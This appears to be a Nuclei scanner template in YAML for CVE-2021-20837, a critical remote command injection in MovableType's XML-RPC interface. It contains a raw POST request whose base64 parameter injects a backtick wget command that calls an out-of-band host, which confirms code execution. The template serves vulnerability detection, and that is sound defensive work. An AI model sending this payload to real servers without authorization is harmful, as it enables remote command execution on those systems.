67 lines
2.3 KiB
YAML
67 lines
2.3 KiB
YAML
id: CVE-2021-20837
|
|
|
|
info:
|
|
name: MovableType - Remote Command Injection
|
|
author: dhiyaneshDK,hackergautam
|
|
severity: critical
|
|
description: MovableType 5002 and earlier (Movable Type Advanced 7 Series), Movable Type Advanced 6.8. 2 and earlier (Movable Type Advanced 6 Series), Movable Type Premium 1.46 and earlier, and Movable Type Premium Advanced 1.46 and earlier allow remote attackers to execute arbitrary OS commands via unspecified vectors.
|
|
remediation: |
|
|
Apply the latest security patches or updates provided by the vendor to fix the remote command injection vulnerability in MovableType.
|
|
reference:
|
|
- https://nemesis.sh/posts/movable-type-0day/
|
|
- https://github.com/ghost-nemesis/cve-2021-20837-poc
|
|
- https://twitter.com/cyber_advising/status/1454051725904580608
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-20837
|
|
- http://packetstormsecurity.com/files/164818/Movable-Type-7-r.5002-XMLRPC-API-Remote-Command-Injection.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-20837
|
|
cwe-id: CWE-78
|
|
epss-score: 0.97165
|
|
epss-percentile: 0.99736
|
|
cpe: cpe:2.3:a:sixapart:movable_type:*:*:*:*:premium:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: sixapart
|
|
product: movable_type
|
|
tags: packetstorm,cve,cve2021,rce,movable
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /cgi-bin/mt/mt-xmlrpc.cgi HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: text/xml
|
|
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<methodCall>
|
|
<methodName>mt.handler_to_coderef</methodName>
|
|
<params>
|
|
<param>
|
|
<value>
|
|
<base64>
|
|
{{base64("`wget http://{{interactsh-url}}`")}}
|
|
</base64>
|
|
</value>
|
|
</param>
|
|
</params>
|
|
</methodCall>
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- "http"
|
|
|
|
- type: word
|
|
words:
|
|
- "failed loading package"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a004730450220666ac5e4cb44e62ee1c828acde50c7871bd88b2526035229665b85d46c5ff5da022100942a85029e452e6122b9974f95bdaef5f20a5390d2c509303ee047ab2d834f2b:922c64590222798bb761d5b6d8e72950
|